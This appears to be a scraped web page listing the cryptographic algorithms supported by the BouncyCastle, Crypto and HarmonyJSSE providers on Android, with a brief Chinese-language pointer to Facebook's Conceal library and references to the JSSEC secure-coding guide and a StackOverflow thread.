             algorithm: PBEWITHMD5AND192BITAES-CBC-OPENSSL
             algorithm: DES
             algorithm: PBEWITHMD5ANDDES
             algorithm: SHA1withDSA
             algorithm: PBEWITHMD5ANDDES
             algorithm: BouncyCastle
             algorithm: PKIX
             algorithm: PKCS12PBE
             algorithm: DSA
             algorithm: RSA
             algorithm: PBEWITHSHA1ANDDES
             algorithm: DESEDE
             algorithm: PBEWITHSHAAND128BITRC2-CBC
             algorithm: PBEWITHSHAAND128BITRC2-CBC
             algorithm: PBEWITHSHAAND256BITAES-CBC-BC
             algorithm: PBEWITHSHAAND128BITRC4
             algorithm: DH
             algorithm: PBEWITHSHA256AND192BITAES-CBC-BC
             algorithm: PBEWITHSHAAND128BITAES-CBC-BC
             algorithm: PBEWITHSHAAND40BITRC2-CBC
             algorithm: HMACSHA384
             algorithm: AESWRAP
             algorithm: PBEWITHSHAAND192BITAES-CBC-BC
             algorithm: SHA256WithRSAEncryption
             algorithm: DES
             algorithm: HMACSHA512
             algorithm: HMACSHA1
             algorithm: DH
             algorithm: PBEWITHSHA256AND128BITAES-CBC-BC
             algorithm: PKIX
             algorithm: PBEWITHMD5ANDRC2
             algorithm: SHA-256
             algorithm: PBEWITHSHA1ANDDES
             algorithm: HMACSHA512
             algorithm: SHA384WithRSAEncryption
             algorithm: DES
             algorithm: BLOWFISH
             algorithm: PBEWITHMD5AND128BITAES-CBC-OPENSSL
             algorithm: PBEWITHSHAAND3-KEYTRIPLEDES-CBC
             algorithm: PBEWITHSHAAND256BITAES-CBC-BC
             algorithm: DSA
             algorithm: PBEWITHSHAAND40BITRC2-CBC
             algorithm: BLOWFISH
             algorithm: PBEWITHSHAAND40BITRC4
             algorithm: PBKDF2WithHmacSHA1
             algorithm: PBEWITHSHAAND40BITRC4
             algorithm: HMACSHA1
             algorithm: AES
             algorithm: PBEWITHSHA256AND192BITAES-CBC-BC
             algorithm: PBEWITHSHAAND2-KEYTRIPLEDES-CBC
             algorithm: PBEWITHHMACSHA
             algorithm: DH
             algorithm: BKS
             algorithm: NONEWITHDSA
             algorithm: DES
             algorithm: PBEWITHMD5ANDRC2
             algorithm: DSA
             algorithm: PBEWITHSHAANDTWOFISH-CBC
             algorithm: SHA512WithRSAEncryption
             algorithm: HMACMD5
             algorithm: PBEWITHSHAAND3-KEYTRIPLEDES-CBC
             algorithm: PBEWITHSHA1ANDRC2
             algorithm: ARC4
             algorithm: PBEWITHHMACSHA1
             algorithm: AES
             algorithm: PBEWITHHMACSHA1
             algorithm: MD5
             algorithm: RSA
             algorithm: PBEWITHSHAANDTWOFISH-CBC
             algorithm: PBEWITHSHA1ANDRC2
             algorithm: PBEWITHSHAAND2-KEYTRIPLEDES-CBC
             algorithm: PBEWITHSHAAND128BITRC4
             algorithm: SHA-384
             algorithm: RSA
             algorithm: DESEDE
             algorithm: SHA-512
             algorithm: X.509
             algorithm: PBEWITHMD5AND192BITAES-CBC-OPENSSL
             algorithm: MD5WithRSAEncryption
             algorithm: PBEWITHMD5AND256BITAES-CBC-OPENSSL
             algorithm: PBEWITHSHA256AND256BITAES-CBC-BC
             algorithm: BLOWFISH
             algorithm: DH
             algorithm: SHA1WithRSAEncryption
             algorithm: HMACMD5
             algorithm: PBEWITHSHA256AND128BITAES-CBC-BC
            provider: Crypto
             algorithm: SHA1withDSA
             algorithm: SHA-1
             algorithm: DSA
             algorithm: SHA1PRNG
            provider: HarmonyJSSE
             algorithm: X509
             algorithm: SSLv3
             algorithm: TLS
             algorithm: TLSv1
             algorithm: X509
             algorithm: SSL
            

            第三方加密方案,提供 provider

            https://github.com/facebook/conceal

            參考


            http://www.jssec.org/dl/android_securecoding_en.pdf

            http://stackoverflow.com/questions/7560974/what-crypto-algorithms-does-android-support

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线